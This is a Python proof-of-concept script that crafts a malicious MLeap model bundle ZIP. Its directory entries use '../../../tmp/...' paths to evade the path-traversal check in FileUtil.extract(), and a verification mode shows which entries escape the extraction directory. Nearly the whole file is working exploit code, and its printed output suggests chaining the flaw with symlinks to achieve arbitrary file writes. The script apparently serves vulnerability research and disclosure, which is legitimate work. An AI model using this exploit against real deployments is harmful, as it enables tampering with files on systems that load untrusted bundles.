| """
|
| PoC: MLeap Zip Slip Path Traversal β Directory Entry Bypass
|
| ============================================================
|
| Crafts a malicious ZIP archive demonstrating how directory entries
|
| bypass the path traversal check in FileUtil.extract().
|
|
|
| The extract() method only validates file entries, not directory entries.
|
| A ZIP with a directory entry like "../../../tmp/evil/" will create that
|
| directory outside the extraction target without triggering the check.
|
|
|
| Usage:
|
| python craft_zipslip_bundle.py # Generate PoC ZIP
|
| python craft_zipslip_bundle.py --verify # Show ZIP contents
|
|
|
| This is for authorized security research only.
|
| """
|
|
|
| import zipfile
|
| import os
|
| import argparse
|
|
|
|
|
| def craft_zipslip_bundle(output_path="malicious_bundle.zip"):
|
| """
|
| Create a ZIP archive with directory entries that bypass MLeap's
|
| FileUtil.extract() path traversal validation.
|
|
|
| The vulnerable code:
|
| if (entry.isDirectory) {
|
| Files.createDirectories(filePath) // NO PATH CHECK
|
| } else {
|
| // ... startsWith check only here ...
|
| }
|
| """
|
|
|
| with zipfile.ZipFile(output_path, "w", zipfile.ZIP_DEFLATED) as zf:
|
|
|
| zf.writestr("bundle.json", '{"uid":"poc","name":"poc","format":"ml.combust.mleap.binary","version":"0.23.0"}')
|
| zf.writestr("root/model.json", '{"op":"poc","attributes":{}}')
|
| zf.writestr("root/saved_model.pb", b"fake saved model data")
|
|
|
|
|
|
|
|
|
|
|
|
|
| dir_info = zipfile.ZipInfo("../../../tmp/mleap_poc_escaped/")
|
| dir_info.external_attr = 0o755 << 16
|
| zf.writestr(dir_info, "")
|
|
|
|
|
| dir_info2 = zipfile.ZipInfo("../../../tmp/mleap_poc_escaped/subdir/")
|
| dir_info2.external_attr = 0o755 << 16
|
| zf.writestr(dir_info2, "")
|
|
|
|
|
|
|
|
|
| symlink_dir = zipfile.ZipInfo("../../../tmp/mleap_poc_symlink/")
|
| symlink_dir.external_attr = 0o755 << 16
|
| zf.writestr(symlink_dir, "")
|
|
|
| file_size = os.path.getsize(output_path)
|
| print(f"[+] Malicious MLeap bundle written to: {output_path}")
|
| print(f" Size: {file_size} bytes")
|
| print()
|
| print(" ZIP contents:")
|
| with zipfile.ZipFile(output_path, "r") as zf:
|
| for info in zf.infolist():
|
| entry_type = "DIR " if info.filename.endswith("/") else "FILE"
|
| bypass = " <-- BYPASSES PATH CHECK" if (info.filename.endswith("/") and ".." in info.filename) else ""
|
| print(f" [{entry_type}] {info.filename}{bypass}")
|
| print()
|
| print("[!] When loaded by MLeap's FileUtil.extract():")
|
| print(" - Directory entries skip path validation entirely")
|
| print(" - ../../../tmp/mleap_poc_escaped/ is created outside extraction dir")
|
| print(" - Can be chained with symlink to achieve arbitrary file write")
|
| return output_path
|
|
|
|
|
| def main():
|
| parser = argparse.ArgumentParser(description="MLeap Zip Slip PoC")
|
| parser.add_argument("-o", "--output", default="malicious_bundle.zip")
|
| parser.add_argument("--verify", action="store_true",
|
| help="Show ZIP contents and verify structure")
|
| args = parser.parse_args()
|
|
|
| path = craft_zipslip_bundle(args.output)
|
|
|
| if args.verify:
|
| print()
|
| print("Verification β simulating FileUtil.extract() logic:")
|
| with zipfile.ZipFile(path, "r") as zf:
|
| dest = "/tmp/mleap_extraction_target"
|
| for entry in zf.infolist():
|
| file_path = os.path.normpath(os.path.join(dest, entry.filename))
|
| if entry.filename.endswith("/"):
|
|
|
| is_escape = not file_path.startswith(dest + os.sep)
|
| status = "BYPASS β no check!" if is_escape else "safe (inside dest)"
|
| print(f" DIR: {entry.filename}")
|
| print(f" resolves to: {file_path}")
|
| print(f" status: {status}")
|
| else:
|
|
|
| dest_canonical = os.path.normpath(dest)
|
| entry_canonical = os.path.normpath(file_path)
|
| passes_check = entry_canonical.startswith(dest_canonical + os.sep)
|
| status = "allowed (passes check)" if passes_check else "BLOCKED"
|
| print(f" FILE: {entry.filename}")
|
| print(f" resolves to: {file_path}")
|
| print(f" status: {status}")
|
| print()
|
|
|
|
|
| if __name__ == "__main__":
|
| main()
|
|
|